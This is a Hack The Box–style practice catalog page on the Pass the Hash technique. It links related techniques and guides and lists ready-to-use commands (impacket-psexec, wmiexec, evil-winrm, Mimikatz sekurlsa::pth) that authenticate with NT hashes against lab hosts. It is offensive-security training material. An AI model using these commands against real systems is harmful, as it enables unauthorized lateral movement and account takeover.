Pass the Hash
Sub-technique of T1550 Use Alternate Authentication Material ↗
Authenticating with a user's NT hash without knowing their password.
How it shows up on Hack The Box
An NT hash from SAM, LSASS, DCSync or ADCS works as is for SMB, WinRM and LDAP: no need to crack it. Use NetExec to see where it is admin.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
Pass-the-hash with psexec
Attacker
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash with evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NTWindows and Active Directory privilege escalation › Active Directory
Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NTActive Directory in depth › Impacket
with pass-the-hash
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]C2 and post-exploitation › Lateral movement
impacket-wmiexec
Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949bMimikatz › Domain
Pass the hash (opens a process with that identity)
Target
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"No command matches.